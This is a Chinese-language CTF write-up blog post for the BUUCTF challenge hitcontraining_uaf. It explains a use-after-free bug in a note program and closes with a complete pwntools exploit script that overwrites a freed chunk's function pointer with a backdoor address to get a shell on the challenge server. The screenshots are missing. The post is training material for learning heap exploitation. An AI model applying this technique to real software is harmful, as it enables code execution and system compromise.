加载中...

[BUUCTF]刷题记录:hitcontraining_uaf

hitcontraining_uaf

1.checksec:

2.ida分析:

1.main函数:

)

2.menu菜单函数:

根据输入的数字提供程序的不同功能,一共有add,delete,print,exit四个功能:

)

3.add函数:

4.free函数:

free之后没有将指针置为0,存在uaf漏洞:

5.print函数:

6.magic函数(后门函数):

3.利用思路:

先用add两次申请堆块,这样可以申请四个大小分别为0x10,0x10,0x28,0x28的堆块,然后将它们都delete掉,

然后再add(8,p32(magic)),就可以把free掉的两个0x10大小的chunk从fastbin中申请出来,且把print_note_content改为magic函数,这样再print_(0)就可以利用print函数来执行magic,拿到shell。

1.add两次:

可以看到已经拿到四个chunk了

2.delete掉申请的堆块:

3.add(8,p32(magic)),修改申请chunk的puts函数为magic函数:

5.print(0),拿到shell:

4.exp:

from pwn import *
context.log_level="debug"
io=process("hacknote")
io=remote("node4.buuoj.cn",27728)
def add(size,content):
    io.recvuntil("Your choice :")
    io.sendline("1")
    io.recvuntil("size :")
    io.sendline(str(size))
    io.recvuntil("Content :")
    io.sendline(content)

def delete(index):
    io.recvuntil("Your choice :")
    io.sendline("2")
    io.recvuntil("Index :")
    io.sendline(str(index))

def print_(index):
    io.recvuntil("Your choice :")
    io.sendline("3")
    io.recvuntil("Index :")
    io.sendline(str(index))
magic=0x08048945
add(30,"HAPPY")
add(30,"HAPPY")
delete(0)
delete(1)
add(8,p32(magic))
#gdb.attach(io)
#pause()
print_(0)
#gdb.attach(io)
#pause()
io.interactive()
posted @ 2022-05-16 11:21  happynoy  阅读(530)  评论(0)    收藏  举报